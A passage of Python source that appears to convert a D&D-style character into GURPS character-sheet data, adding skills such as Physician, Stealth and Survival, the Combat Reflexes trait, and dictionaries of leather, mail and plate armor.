\"name\": \"Physician\",\n \"reference\": \"B213\",\n \"tags\": [\"Medical\"],\n \"tech_level\": \"4\",\n \"difficulty\": \"iq/h\",\n \"points\": points,\n \"defaulted_from\": {\n \"type\": \"iq\",\n \"modifier\": -7,\n \"level\": 8,\n \"adjusted_level\": 8,\n \"points\": -8,\n },\n \"defaults\": [\n {\"type\": \"iq\", \"modifier\": -7},\n {\"type\": \"skill\", \"name\": \"First Aid\", \"modifier\": -11},\n {\"type\": \"skill\", \"name\": \"Veterinary\", \"modifier\": -5},\n ],\n \"calc\": {\"level\": 13, \"rsl\": \"IQ-2\"},\n }\n # endregion\n default_data[\"skills\"].append(physicianSkill)\n\n if medicine_modifier >= 6:\n # region Surgery Skill\n surgerySkill = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"skill\",\n \"name\": \"Surgery\",\n \"reference\": \"B223\",\n \"tags\": [\"Medical\"],\n \"tech_level\": \"4\",\n \"difficulty\": \"iq/vh\",\n \"points\": points,\n \"defaulted_from\": {\n \"type\": \"skill\",\n \"name\": \"Physician\",\n \"modifier\": -5,\n \"level\": 8,\n \"adjusted_level\": 8,\n \"points\": -8,\n },\n \"defaults\": [\n {\"type\": \"skill\", \"name\": \"First Aid\", \"modifier\": -12},\n {\"type\": \"skill\", \"name\": \"Physician\", \"modifier\": -5},\n {\"type\": \"skill\", \"name\": \"Physiology\", \"modifier\": -8},\n {\"type\": \"skill\", \"name\": \"Veterinary\", \"modifier\": -5},\n ],\n \"prereqs\": {\n \"type\": \"prereq_list\",\n \"all\": False,\n \"prereqs\": [\n {\n \"type\": \"skill_prereq\",\n \"has\": True,\n \"name\": {\"compare\": \"is\", \"qualifier\": \"first aid\"},\n },\n {\n \"type\": \"skill_prereq\",\n \"has\": True,\n \"name\": {\"compare\": \"is\", \"qualifier\": \"physician\"},\n },\n ],\n },\n \"calc\": {\"level\": 12, \"rsl\": \"IQ-3\"},\n }\n # endregion\n default_data[\"skills\"].append(surgerySkill)\n\n # Give Gardening and Biology (Botany) if the character has Nature\n if \"skill\" in input_data and \"nature\" in input_data[\"skill\"]:\n points = convert_modifier_to_points(profBonus)\n\n # region Gardening Skill\n gardeningSkill = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"skill\",\n \"name\": \"Gardening\",\n \"reference\": \"B197\",\n \"tags\": [\"Plant\"],\n \"difficulty\": \"iq/e\",\n \"points\": points,\n \"defaulted_from\": {\n \"type\": \"iq\",\n \"modifier\": -4,\n \"level\": 11,\n \"adjusted_level\": 11,\n \"points\": -11,\n },\n \"defaults\": [\n {\"type\": \"iq\", \"modifier\": -4},\n {\"type\": \"skill\", \"name\": \"Farming\", \"modifier\": -3},\n ],\n \"calc\": {\"level\": 15, \"rsl\": \"IQ+0\"},\n }\n # endregion\n default_data[\"skills\"].append(gardeningSkill)\n\n # region Botany Skill\n botanySkill = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"skill\",\n \"name\": \"Biology\",\n \"reference\": \"B180\",\n \"tags\": [\"Natural Science\", \"Plant\"],\n \"specialization\": \"Botany\",\n \"tech_level\": \"4\",\n \"difficulty\": \"iq/vh\",\n \"points\": points,\n \"defaulted_from\": {\n \"type\": \"iq\",\n \"modifier\": -6,\n \"level\": 9,\n \"adjusted_level\": 9,\n \"points\": -9,\n },\n \"defaults\": [\n {\"type\": \"iq\", \"modifier\": -6},\n {\"type\": \"skill\", \"name\": \"Naturalist\", \"modifier\": -6},\n ],\n \"calc\": {\"level\": 12, \"rsl\": \"IQ-3\"},\n }\n # endregion\n default_data[\"skills\"].append(botanySkill)\n\n # Give Observation and Acute Vision Trait if the character has Perception\n if \"skill\" in input_data and \"perception\" in input_data[\"skill\"]:\n points = convert_modifier_to_points(profBonus)\n\n # region Observation Skill\n observationSkill = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"skill\",\n \"name\": \"Observation\",\n \"reference\": \"B211\",\n \"tags\": [\"Criminal\", \"Military\", \"Police\", \"Spy\", \"Street\"],\n \"difficulty\": \"per/a\",\n \"points\": points,\n \"defaulted_from\": {\n \"type\": \"per\",\n \"modifier\": -5,\n \"level\": 10,\n \"adjusted_level\": 10,\n \"points\": -10,\n },\n \"defaults\": [\n {\"type\": \"per\", \"modifier\": -5},\n {\"type\": \"skill\", \"name\": \"Shadowing\", \"modifier\": -5},\n ],\n \"calc\": {\"level\": 14, \"rsl\": \"Per-1\"},\n }\n # endregion\n default_data[\"skills\"].append(observationSkill)\n\n # region Acute Vision Trait\n acuteVisionTrait = {\n \"id\": \"e36a16e5-aba0-41d3-89a6-8825eb72565a\",\n \"type\": \"trait\",\n \"name\": \"Acute Vision\",\n \"reference\": \"B35\",\n \"tags\": [\"Advantage\", \"Physical\"],\n \"levels\": profBonus,\n \"points_per_level\": 2,\n \"features\": [\n {\n \"type\": \"attribute_bonus\",\n \"attribute\": \"vision\",\n \"amount\": 1,\n \"per_level\": True,\n }\n ],\n \"can_level\": True,\n \"calc\": {\"points\": 2},\n }\n # endregion\n default_data[\"traits\"].append(acuteVisionTrait)\n\n # Give Acting, Dancing, Musical Instrument (any), and Singing if the character has Performance\n if \"skill\" in input_data and \"performance\" in input_data[\"skill\"]:\n performance_modifier_string = input_data[\"skill\"][\"performance\"]\n performance_modifier = int(\n performance_modifier_string.replace(\"+\", \"\")\n ) # Remove '+' sign\n points = convert_modifier_to_points(performance_modifier - charAd)\n\n # region Acting Skill\n actingSkill = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"skill\",\n \"name\": \"Acting\",\n \"reference\": \"B174\",\n \"tags\": [\"Social\", \"Spy\"],\n \"difficulty\": \"iq/a\",\n \"points\": points,\n \"defaulted_from\": {\n \"type\": \"iq\",\n \"modifier\": -5,\n \"level\": 10,\n \"adjusted_level\": 10,\n \"points\": -10,\n },\n \"defaults\": [\n {\"type\": \"iq\", \"modifier\": -5},\n {\"type\": \"skill\", \"name\": \"Performance\", \"modifier\": -2},\n {\"type\": \"skill\", \"name\": \"Public Speaking\", \"modifier\": -5},\n ],\n \"calc\": {\"level\": 14, \"rsl\": \"IQ-1\"},\n }\n # endregion\n default_data[\"skills\"].append(actingSkill)\n\n # region Dancing Skill\n dancingSkill = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"skill\",\n \"name\": \"Dancing\",\n \"reference\": \"B187\",\n \"tags\": [\"Arts\", \"Entertainment\"],\n \"difficulty\": \"dx/a\",\n \"points\": points,\n \"defaulted_from\": {\n \"type\": \"dx\",\n \"modifier\": -5,\n \"level\": 6,\n \"adjusted_level\": 6,\n \"points\": -6,\n },\n \"defaults\": [{\"type\": \"dx\", \"modifier\": -5}],\n \"calc\": {\"level\": 10, \"rsl\": \"DX-1\"},\n }\n # endregion\n default_data[\"skills\"].append(dancingSkill)\n\n # region Musical Instrument Skill\n musicalInstrumentSkill = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"skill\",\n \"name\": \"Musical Instrument\",\n \"reference\": \"B211\",\n \"tags\": [\"Arts\", \"Entertainment\"],\n \"specialization\": \"Any\",\n \"difficulty\": \"iq/h\",\n \"points\": points,\n \"calc\": {\"level\": 13, \"rsl\": \"IQ-2\"},\n }\n # endregion\n default_data[\"skills\"].append(musicalInstrumentSkill)\n\n # region Singing Skill\n singingSkill = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"skill\",\n \"name\": \"Singing\",\n \"reference\": \"B220\",\n \"tags\": [\"Arts\", \"Entertainment\"],\n \"difficulty\": \"ht/e\",\n \"points\": points,\n \"defaulted_from\": {\n \"type\": \"ht\",\n \"modifier\": -4,\n \"level\": 7,\n \"adjusted_level\": 7,\n \"points\": -7,\n },\n \"defaults\": [{\"type\": \"ht\", \"modifier\": -4}],\n \"calc\": {\"level\": 11, \"rsl\": \"HT+0\"},\n }\n # endregion\n default_data[\"skills\"].append(singingSkill)\n\n # Give Diplomacy if the character has Persuasion\n if \"skill\" in input_data and \"persuasion\" in input_data[\"skill\"]:\n persuasion_modifier_string = input_data[\"skill\"][\"persuasion\"]\n persuasion_modifier = int(\n persuasion_modifier_string.replace(\"+\", \"\")\n ) # Remove '+' sign\n points = convert_modifier_to_points(persuasion_modifier - charAd)\n\n # region Diplomacy Skill\n diplomacySkill = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"skill\",\n \"name\": \"Diplomacy\",\n \"reference\": \"B187\",\n \"tags\": [\"Business\", \"Police\", \"Social\"],\n \"difficulty\": \"iq/h\",\n \"points\": points,\n \"defaulted_from\": {\n \"type\": \"iq\",\n \"modifier\": -6,\n \"level\": 9,\n \"adjusted_level\": 9,\n \"points\": -9,\n },\n \"defaults\": [\n {\"type\": \"iq\", \"modifier\": -6},\n {\"type\": \"skill\", \"name\": \"Politics\", \"modifier\": -6},\n ],\n \"calc\": {\"level\": 13, \"rsl\": \"IQ-2\"},\n }\n # endregion\n default_data[\"skills\"].append(diplomacySkill)\n\n # Give Theology (General) if the character has Religion\n if \"skill\" in input_data and \"religion\" in input_data[\"skill\"]:\n points = convert_modifier_to_points(profBonus)\n\n # region Theology (General) Skill\n theologySkill = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"skill\",\n \"name\": \"Theology\",\n \"reference\": \"B226\",\n \"tags\": [\"Humanities\", \"Social Sciences\"],\n \"specialization\": \"Any\",\n \"difficulty\": \"iq/h\",\n \"points\": points,\n \"defaulted_from\": {\n \"type\": \"iq\",\n \"modifier\": -6,\n \"level\": 9,\n \"adjusted_level\": 9,\n \"points\": -9,\n },\n \"defaults\": [\n {\"type\": \"iq\", \"modifier\": -6},\n {\n \"type\": \"skill\",\n \"name\": \"Religious Ritual\",\n \"specialization\": \"Any\",\n \"modifier\": -4,\n },\n ],\n \"calc\": {\"level\": 13, \"rsl\": \"IQ-2\"},\n }\n # endregion\n default_data[\"skills\"].append(theologySkill)\n\n # Give Sleight of Hand if the character has Sleight of Hand\n if \"skill\" in input_data and \"sleight of hand\" in input_data[\"skill\"]:\n sof_modifier_string = input_data[\"skill\"][\"sleight of hand\"]\n sof_modifier = int(sof_modifier_string.replace(\"+\", \"\")) # Remove '+' sign\n points = convert_modifier_to_points(sof_modifier - dexAd)\n\n # region Sleight of Hand Skill\n sleightOfHandSkill = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"skill\",\n \"name\": \"Sleight of Hand\",\n \"reference\": \"B221\",\n \"tags\": [\"Arts\", \"Criminal\", \"Entertainment\", \"Street\"],\n \"difficulty\": \"dx/h\",\n \"points\": points,\n \"defaults\": [{\"type\": \"skill\", \"name\": \"Filch\", \"modifier\": -5}],\n \"calc\": {\"level\": 9, \"rsl\": \"DX-2\"},\n }\n # endregion\n default_data[\"skills\"].append(sleightOfHandSkill)\n\n # Give Stealth if the character has Stealth\n if \"skill\" in input_data and \"stealth\" in input_data[\"skill\"]:\n stealth_modifier_string = input_data[\"skill\"][\"stealth\"]\n stealth_modifier = int(\n stealth_modifier_string.replace(\"+\", \"\")\n ) # Remove '+' sign\n points = convert_modifier_to_points(stealth_modifier - dexAd)\n\n # region Stealth Skill\n stealthSkill = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"skill\",\n \"name\": \"Stealth\",\n \"reference\": \"B222\",\n \"tags\": [\"Criminal\", \"Police\", \"Spy\", \"Street\"],\n \"difficulty\": \"dx/a\",\n \"points\": points,\n \"encumbrance_penalty_multiplier\": 1,\n \"defaulted_from\": {\n \"type\": \"iq\",\n \"modifier\": -5,\n \"level\": 10,\n \"adjusted_level\": 10,\n \"points\": 1,\n },\n \"defaults\": [\n {\"type\": \"iq\", \"modifier\": -5},\n {\"type\": \"dx\", \"modifier\": -5},\n ],\n \"calc\": {\"level\": 11, \"rsl\": \"DX+0\"},\n }\n # endregion\n default_data[\"skills\"].append(stealthSkill)\n\n # Give Survival (any) if the character has Survival\n if \"skill\" in input_data and \"survival\" in input_data[\"skill\"]:\n points = convert_modifier_to_points(profBonus)\n\n # region Survival (any) Skill\n survivalSkill = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"skill\",\n \"name\": \"Survival\",\n \"reference\": \"B223\",\n \"tags\": [\"Exploration\", \"Outdoor\"],\n \"specialization\": \"Any\",\n \"difficulty\": \"per/a\",\n \"points\": points,\n \"defaulted_from\": {\n \"type\": \"per\",\n \"modifier\": -5,\n \"level\": 10,\n \"adjusted_level\": 10,\n \"points\": -10,\n },\n \"defaults\": [\n {\"type\": \"per\", \"modifier\": -5},\n {\"type\": \"skill\", \"name\": \"Naturalist\", \"modifier\": -3},\n {\n \"type\": \"skill\",\n \"name\": \"Survival\",\n \"specialization\": \"Bank\",\n \"modifier\": -4,\n },\n {\n \"type\": \"skill\",\n \"name\": \"Survival\",\n \"specialization\": \"Deep Ocean Vent\",\n \"modifier\": -4,\n },\n {\n \"type\": \"skill\",\n \"name\": \"Survival\",\n \"specialization\": \"Fresh-Water Lake\",\n \"modifier\": -4,\n },\n {\n \"type\": \"skill\",\n \"name\": \"Survival\",\n \"specialization\": \"Open Ocean\",\n \"modifier\": -4,\n },\n {\n \"type\": \"skill\",\n \"name\": \"Survival\",\n \"specialization\": \"Reef\",\n \"modifier\": -4,\n },\n {\n \"type\": \"skill\",\n \"name\": \"Survival\",\n \"specialization\": \"River/Stream\",\n \"modifier\": -4,\n },\n {\n \"type\": \"skill\",\n \"name\": \"Survival\",\n \"specialization\": \"Tropical Lagoon\",\n \"modifier\": -4,\n },\n ],\n \"calc\": {\"level\": 14, \"rsl\": \"Per-1\"},\n }\n # endregion\n default_data[\"skills\"].append(survivalSkill)\n\n if user_input.lower() == \"yes\":\n # region Combat Reflexes Trait\n combatReflexesTrait = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"trait\",\n \"name\": \"Combat Reflexes\",\n \"reference\": \"B43\",\n \"notes\": \"Never freeze\",\n \"tags\": [\"Advantage\", \"Mental\"],\n \"base_points\": 15,\n \"prereqs\": {\n \"type\": \"prereq_list\",\n \"all\": True,\n \"prereqs\": [\n {\n \"type\": \"trait_prereq\",\n \"has\": False,\n \"name\": {\"compare\": \"is\", \"qualifier\": \"Enhanced Time Sense\"},\n }\n ],\n },\n \"features\": [\n {\n \"type\": \"skill_bonus\",\n \"selection_type\": \"skills_with_name\",\n \"name\": {\"compare\": \"starts_with\", \"qualifier\": \"fast-draw\"},\n \"amount\": 1,\n },\n {\"type\": \"attribute_bonus\", \"attribute\": \"dodge\", \"amount\": 1},\n {\"type\": \"attribute_bonus\", \"attribute\": \"parry\", \"amount\": 1},\n {\"type\": \"attribute_bonus\", \"attribute\": \"block\", \"amount\": 1},\n {\"type\": \"attribute_bonus\", \"attribute\": \"fright_check\", \"amount\": 2},\n {\n \"type\": \"conditional_modifier\",\n \"situation\": \"on all IQ rolls to wake up or to recover from surprise or mental stun\",\n \"amount\": 6,\n },\n {\n \"type\": \"conditional_modifier\",\n \"situation\": \"to initiative rolls for your side (+2 if you are the leader)\",\n \"amount\": 1,\n },\n ],\n \"calc\": {\"points\": 15},\n }\n # endregion\n default_data[\"traits\"].append(combatReflexesTrait)\n\n # Adds appropriate armor according to equipment\n # region Armor Pieces\n # region Leather Armor\n leatherArmor = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"equipment\",\n \"description\": \"Leather Armor\",\n \"reference\": \"B283\",\n \"tech_level\": \"1\",\n \"tags\": [\"Body Armor\"],\n \"quantity\": 1,\n \"value\": 100,\n \"weight\": \"10 lb\",\n \"features\": [\n {\"type\": \"dr_bonus\", \"location\": \"torso\", \"amount\": 2},\n {\"type\": \"dr_bonus\", \"location\": \"vitals\", \"amount\": 2},\n {\"type\": \"dr_bonus\", \"location\": \"groin\", \"amount\": 2},\n ],\n \"equipped\": True,\n \"calc\": {\"extended_value\": 100, \"extended_weight\": \"10 lb\"},\n }\n # endregion\n heavyLeatherLeggings = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"equipment\",\n \"description\": \"Heavy Leather Leggings\",\n \"reference\": \"B283\",\n \"tech_level\": \"1\",\n \"tags\": [\"Limb Armor\"],\n \"quantity\": 1,\n \"value\": 60,\n \"weight\": \"4 lb\",\n \"features\": [{\"type\": \"dr_bonus\", \"location\": \"leg\", \"amount\": 2}],\n \"equipped\": True,\n \"calc\": {\"extended_value\": 60, \"extended_weight\": \"4 lb\"},\n }\n heavyLeatherSleeves = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"equipment\",\n \"description\": \"Heavy Leather Sleeves\",\n \"reference\": \"B283\",\n \"tech_level\": \"1\",\n \"tags\": [\"Limb Armor\"],\n \"quantity\": 1,\n \"value\": 50,\n \"weight\": \"2 lb\",\n \"features\": [{\"type\": \"dr_bonus\", \"location\": \"arm\", \"amount\": 2}],\n \"equipped\": True,\n \"calc\": {\"extended_value\": 50, \"extended_weight\": \"2 lb\"},\n }\n studdedLeatherSkirts = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"equipment\",\n \"description\": \"Studded Leather Skirt\",\n \"reference\": \"B283\",\n \"notes\": \"Flexible\",\n \"tech_level\": \"1\",\n \"tags\": [\"Limb Armor\"],\n \"quantity\": 1,\n \"value\": 60,\n \"weight\": \"4 lb\",\n \"features\": [\n {\"type\": \"dr_bonus\", \"location\": \"groin\", \"amount\": 3},\n {\"type\": \"dr_bonus\", \"location\": \"leg\", \"amount\": 3},\n {\n \"type\": \"dr_bonus\",\n \"location\": \"groin\",\n \"specialization\": \"crushing\",\n \"amount\": -1,\n },\n {\n \"type\": \"dr_bonus\",\n \"location\": \"leg\",\n \"specialization\": \"crushing\",\n \"amount\": -1,\n },\n ],\n \"equipped\": True,\n \"calc\": {\"extended_value\": 60, \"extended_weight\": \"4 lb\"},\n }\n leatherHelm = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"equipment\",\n \"description\": \"Leather Helm\",\n \"reference\": \"B284\",\n \"tech_level\": \"1\",\n \"tags\": [\"Headgear\"],\n \"quantity\": 1,\n \"value\": 20,\n \"weight\": \"0.5 lb\",\n \"features\": [\n {\"type\": \"dr_bonus\", \"location\": \"skull\", \"amount\": 2},\n {\"type\": \"dr_bonus\", \"location\": \"face\", \"amount\": 2},\n ],\n \"equipped\": True,\n \"calc\": {\"extended_value\": 20, \"extended_weight\": \"0.5 lb\"},\n }\n leatherGloves = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"equipment\",\n \"description\": \"Leather Gloves\",\n \"reference\": \"B284\",\n \"notes\": \"Flexible\",\n \"tech_level\": \"1\",\n \"tags\": [\"Gloves\"],\n \"quantity\": 1,\n \"value\": 30,\n \"features\": [{\"type\": \"dr_bonus\", \"location\": \"hand\", \"amount\": 2}],\n \"equipped\": True,\n \"calc\": {\"extended_value\": 30, \"extended_weight\": \"0 lb\"},\n }\n leatherPants = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"equipment\",\n \"description\": \"Leather Pants\",\n \"reference\": \"B283\",\n \"notes\": \"Flexible, concealable\",\n \"tech_level\": \"1\",\n \"tags\": [\"Limb Armor\"],\n \"quantity\": 1,\n \"value\": 40,\n \"weight\": \"3 lb\",\n \"features\": [\n {\"type\": \"dr_bonus\", \"location\": \"groin\", \"amount\": 1},\n {\"type\": \"dr_bonus\", \"location\": \"leg\", \"amount\": 1},\n ],\n \"equipped\": True,\n \"calc\": {\"extended_value\": 40, \"extended_weight\": \"3 lb\"},\n }\n leatherLeggings = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"equipment\",\n \"description\": \"Leather Leggings\",\n \"reference\": \"B283\",\n \"notes\": \"Flexible, concealable\",\n \"tech_level\": \"1\",\n \"tags\": [\"Limb Armor\"],\n \"quantity\": 1,\n \"value\": 40,\n \"weight\": \"2 lb\",\n \"features\": [{\"type\": \"dr_bonus\", \"location\": \"leg\", \"amount\": 1}],\n \"equipped\": True,\n \"calc\": {\"extended_value\": 40, \"extended_weight\": \"2 lb\"},\n }\n leatherJacket = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"equipment\",\n \"description\": \"Leather Jacket\",\n \"reference\": \"B283\",\n \"notes\": \"Flexible, concealable\",\n \"tech_level\": \"1\",\n \"tags\": [\"Body Armor\"],\n \"quantity\": 1,\n \"value\": 50,\n \"weight\": \"4 lb\",\n \"features\": [\n {\"type\": \"dr_bonus\", \"location\": \"torso\", \"amount\": 1},\n {\"type\": \"dr_bonus\", \"location\": \"vitals\", \"amount\": 1},\n {\"type\": \"dr_bonus\", \"location\": \"arm\", \"amount\": 1},\n ],\n \"equipped\": True,\n \"calc\": {\"extended_value\": 50, \"extended_weight\": \"4 lb\"},\n }\n leatherCap = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"equipment\",\n \"description\": \"Leather Cap\",\n \"reference\": \"B284\",\n \"notes\": \"Flexible\",\n \"tech_level\": \"1\",\n \"tags\": [\"Headgear\"],\n \"quantity\": 1,\n \"value\": 32,\n \"features\": [{\"type\": \"dr_bonus\", \"location\": \"skull\", \"amount\": 1}],\n \"equipped\": True,\n \"calc\": {\"extended_value\": 32, \"extended_weight\": \"0 lb\"},\n }\n steelBreastPlate = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"equipment\",\n \"description\": \"Steel Breastplate\",\n \"reference\": \"B283\",\n \"tech_level\": \"3\",\n \"legality_class\": \"3\",\n \"tags\": [\"Body Armor\"],\n \"quantity\": 1,\n \"value\": 500,\n \"weight\": \"18 lb\",\n \"features\": [\n {\n \"type\": \"dr_bonus\",\n \"location\": \"torso\",\n \"specialization\": \"frontal\",\n \"amount\": 5,\n },\n {\n \"type\": \"dr_bonus\",\n \"location\": \"vitals\",\n \"specialization\": \"frontal\",\n \"amount\": 5,\n },\n ],\n \"equipped\": True,\n \"calc\": {\"extended_value\": 500, \"extended_weight\": \"18 lb\"},\n }\n steelPot = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"equipment\",\n \"description\": \"Steel Pot\",\n \"reference\": \"B285\",\n \"tech_level\": \"6\",\n \"tags\": [\"Headgear\"],\n \"quantity\": 1,\n \"value\": 60,\n \"weight\": \"3 lb\",\n \"features\": [{\"type\": \"dr_bonus\", \"location\": \"skull\", \"amount\": 4}],\n \"equipped\": True,\n \"calc\": {\"extended_value\": 60, \"extended_weight\": \"3 lb\"},\n }\n steelCorselet = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"equipment\",\n \"description\": \"Steel Corselet\",\n \"reference\": \"B283\",\n \"tech_level\": \"3\",\n \"legality_class\": \"3\",\n \"tags\": [\"Body Armor\"],\n \"quantity\": 1,\n \"value\": 1300,\n \"weight\": \"35 lb\",\n \"features\": [\n {\"type\": \"dr_bonus\", \"location\": \"groin\", \"amount\": 6},\n {\"type\": \"dr_bonus\", \"location\": \"torso\", \"amount\": 6},\n {\"type\": \"dr_bonus\", \"location\": \"vitals\", \"amount\": 6},\n ],\n \"equipped\": True,\n \"calc\": {\"extended_value\": 1300, \"extended_weight\": \"35 lb\"},\n }\n gauntlets = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"equipment\",\n \"description\": \"Gauntlets\",\n \"reference\": \"B284\",\n \"tech_level\": \"2\",\n \"tags\": [\"Gloves\"],\n \"quantity\": 1,\n \"value\": 100,\n \"weight\": \"2 lb\",\n \"features\": [{\"type\": \"dr_bonus\", \"location\": \"hand\", \"amount\": 4}],\n \"equipped\": True,\n \"calc\": {\"extended_value\": 100, \"extended_weight\": \"2 lb\"},\n }\n plateLegs = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"equipment\",\n \"description\": \"Plate Legs\",\n \"reference\": \"B283\",\n \"tech_level\": \"3\",\n \"legality_class\": \"3\",\n \"tags\": [\"Limb Armor\"],\n \"quantity\": 1,\n \"value\": 1100,\n \"weight\": \"20 lb\",\n \"features\": [{\"type\": \"dr_bonus\", \"location\": \"leg\", \"amount\": 6}],\n \"equipped\": True,\n \"calc\": {\"extended_value\": 1100, \"extended_weight\": \"20 lb\"},\n }\n plateArms = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"equipment\",\n \"description\": \"Plate Arms\",\n \"reference\": \"B283\",\n \"tech_level\": \"3\",\n \"legality_class\": \"3\",\n \"tags\": [\"Limb Armor\"],\n \"quantity\": 1,\n \"value\": 1000,\n \"weight\": \"15 lb\",\n \"features\": [{\"type\": \"dr_bonus\", \"location\": \"arm\", \"amount\": 6}],\n \"equipped\": True,\n \"calc\": {\"extended_value\": 1000, \"extended_weight\": \"15 lb\"},\n }\n mailShirt = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"equipment\",\n \"description\": \"Mail Shirt\",\n \"reference\": \"B283\",\n \"notes\": \"Flexible, concealable\",\n \"tech_level\": \"2\",\n \"tags\": [\"Body Armor\"],\n \"quantity\": 1,\n \"value\": 150,\n \"weight\": \"16 lb\",\n \"features\": [\n {\"type\": \"dr_bonus\", \"location\": \"torso\", \"amount\": 4},\n {\"type\": \"dr_bonus\", \"location\": \"vitals\", \"amount\": 4},\n {\n \"type\": \"dr_bonus\",\n \"location\": \"torso\",\n \"specialization\": \"crushing\",\n \"amount\": -2,\n },\n {\n \"type\": \"dr_bonus\",\n \"location\": \"vitals\",\n \"specialization\": \"crushing\",\n \"amount\": -2,\n },\n ],\n \"equipped\": True,\n \"calc\": {\"extended_value\": 150, \"extended_weight\": \"16 lb\"},\n }\n mailCoif = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"equipment\",\n \"description\": \"Mail Coif\",\n \"reference\": \"B284\",\n \"notes\": \"Flexible\",\n \"tech_level\": \"2\",\n \"legality_class\": \"3\",\n \"tags\": [\"Headgear\"],\n \"quantity\": 1,\n \"value\": 55,\n \"weight\": \"4 lb\",\n \"features\": [\n {\"type\": \"dr_bonus\", \"location\": \"skull\", \"amount\": 4},\n {\"type\": \"dr_bonus\", \"location\": \"neck\", \"amount\": 4},\n {\n \"type\": \"dr_bonus\",\n \"location\": \"skull\",\n \"specialization\": \"crushing\",\n \"amount\": -2,\n },\n {\n \"type\": \"dr_bonus\",\n \"location\": \"neck\",\n \"specialization\": \"crushing\",\n \"amount\": -2,\n },\n ],\n \"equipped\": True,\n \"calc\": {\"extended_value\": 55, \"extended_weight\": \"4 lb\"},\n }\n mailLeggings = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"equipment\",\n \"description\": \"Mail Leggings\",\n \"reference\": \"B283\",\n \"notes\": \"Flexible\",\n \"tech_level\": \"2\",\n \"legality_class\": \"3\",\n \"tags\": [\"Limb Armor\"],\n \"quantity\": 1,\n \"value\": 110,\n \"weight\": \"15 lb\",\n \"features\": [\n {\"type\": \"dr_bonus\", \"location\": \"leg\", \"amount\": 4},\n {\n \"type\": \"dr_bonus\",\n \"location\": \"leg\",\n \"specialization\": \"crushing\",\n \"amount\": -2,\n },\n ],\n \"equipped\": True,\n \"calc\": {\"extended_value\": 110, \"extended_weight\": \"15 lb\"},\n }\n mailSleeves = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"equipment\",\n \"description\": \"Mail Sleeves\",\n \"reference\": \"B283\",\n \"notes\": \"Flexible\",\n \"tech_level\": \"2\",\n \"legality_class\": \"3\",\n \"tags\": [\"Limb Armor\"],\n \"quantity\": 1,\n \"value\": 70,\n \"weight\": \"9 lb\",\n \"features\": [\n {\"type\": \"dr_bonus\", \"location\": \"arm\", \"amount\": 4},\n {\n \"type\": \"dr_bonus\",\n \"location\": \"arm\",\n \"specialization\": \"crushing\",\n \"amount\": -2,\n },\n ],\n \"equipped\": True,\n \"calc\": {\"extended_value\": 70, \"extended_weight\": \"9 lb\"},\n }\n mailHauberk = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"equipment\",\n \"description\": \"Mail Hauberk\",\n \"reference\": \"B283\",\n \"notes\": \"Flexible\",\n \"tech_level\": \"2\",\n \"legality_class\": \"3\",\n \"tags\": [\"Body Armor\"],\n \"quantity\": 1,\n \"value\": 230,\n \"weight\": \"25 lb\",\n \"features\": [\n {\"type\": \"dr_bonus\", \"location\": \"torso\", \"amount\": 4},\n {\"type\": \"dr_bonus\", \"location\": \"vitals\", \"amount\": 4},\n {\"type\": \"dr_bonus\", \"location\": \"groin\", \"amount\": 4},\n {\n \"type\": \"dr_bonus\",\n \"location\": \"torso\",\n \"specialization\": \"crushing\",\n \"amount\": -2,\n },\n {\n \"type\": \"dr_bonus\",\n \"location\": \"vitals\",\n \"specialization\": \"crushing\",\n \"amount\": -2,\n },\n {\n \"type\": \"dr_bonus\",\n \"location\": \"groin\",\n \"specialization\": \"crushing\",\n \"amount\": -2,\n },\n ],\n \"equipped\": True,\n \"calc\": {\"extended_value\": 230, \"extended_weight\": \"25 lb\"},\n }\n greatHelm = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"equipment\",\n \"description\": \"Greathelm\",\n \"reference\": \"B284\",\n \"notes\": \"No peripheral vision\",\n \"tech_level\": \"3\",\n \"legality_class\": \"3\",\n \"tags\": [\"Headgear\"],\n \"quantity\": 1,\n \"value\": 340,\n \"weight\": \"10 lb\",\n \"features\": [\n {\"type\": \"dr_bonus\", \"location\": \"neck\", \"amount\": 7},\n {\"type\": \"dr_bonus\", \"location\": \"face\", \"amount\": 7},\n {\"type\": \"dr_bonus\", \"location\": \"skull\", \"amount\": 7},\n ],\n \"equipped\": True,\n \"calc\": {\"extended_value\": 340, \"extended_weight\": \"10 lb\"},\n }\n heavyPlateLegs = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"equipment\",\n \"description\": \"Heavy Plate Legs\",\n \"reference\": \"B283\",\n \"tech_level\": \"3\",\n \"legality_class\": \"3\",\n \"tags\": [\"Limb Armor\"],\n \"quantity\": 1,\n \"value\": 1600,\n \"weight\": \"25 lb\",\n \"features\": [{\"type\": \"dr_bonus\", \"location\": \"leg\", \"amount\": 7}],\n \"equipped\": True,\n \"calc\": {\"extended_value\": 1600, 